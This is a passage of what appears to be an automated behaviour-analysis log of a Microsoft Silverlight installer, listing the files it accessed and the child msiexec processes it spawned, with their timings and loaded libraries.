    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MSCORRC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.VISUALBASIC.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DE\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ES\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\IT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\JA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\KO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ZH-HANT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\AR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\BG\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\DA\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ET\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\EU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\FI\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HE\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\HU\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\ID\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\LV\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\NO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT-BR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\PT\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\RO\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SK\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SL\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-CYRL-CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SR-LATN-CS\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SV\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TH\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\TR\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\UK\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\VI\MICROSOFT.VISUALBASIC.RESOURCES.DLL
    C:\CONFIG.MSI\142B3.RBF
    C:\WINDOWS\INSTALLER\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}\CONFIGICONDLL
    C:\WINDOWS\SYSTEM32\PROPSYS.DLL
    C:\WINDOWS\SYSTEM32\SHELL32.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\CVERSIONS.1.DB
    C:\WINDOWS\SYSTEM32\NTMARTA.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.VER0X0000000000000002.DB
    C:\PROGRAM FILES (X86)\DESKTOP.INI
    C:\USERS\ADMINISTRATOR\DESKTOP\DESKTOP.INI
    C:\WINDOWS\SYSTEM32\LINKINFO.DLL
    C:\WINDOWS\SYSTEM32\NTSHRUI.DLL
    C:\WINDOWS\SYSTEM32\CSCAPI.DLL
    C:\WINDOWS\SYSTEM32\SLC.DLL
    C:\PROGRAMDATA\MICROSOFT\WINDOWS\START MENU\PROGRAMS\MICROSOFT SILVERLIGHT\MICROSOFT SILVERLIGHT.LNK
    C:\WINDOWS\INSTALLER\142B4.MSP
    C:\CONFIG.MSI\MSI50C4.TMP
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\~DF9C377DC677B86658.TMP
    C:\WINDOWS\SYSWOW64\MSIEXEC.EXE
    C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
    C:\WINDOWS\SYSTEM32\KERNELBASE.DLL
- Process children
  - 4016
    - Image path
      - "C:\WINDOWS\INSTALLER\MSI4A9A.TMP" FLAT
    - Time lapse
      - 35.943865
    - Files Accessed
      - C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64
  - 4076
    - Image path
      - C:\WINDOWS\SYSWOW64\MSIEXEC.EXE -EMBEDDING 81C10363B26DADFCE98981DF015316F8
    - Time lapse
      - 37.644268
    - Files Accessed
      - C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\MSI.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\MSIEXEC.EXE
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\MSIEXEC.EXE.MUI
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\XAPAUTHENTICODESIP.DLL
        C:\WINDOWS\SYSWOW64\DEVRTL.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\PROGRAMDATA\MICROSOFT\PLAYREADY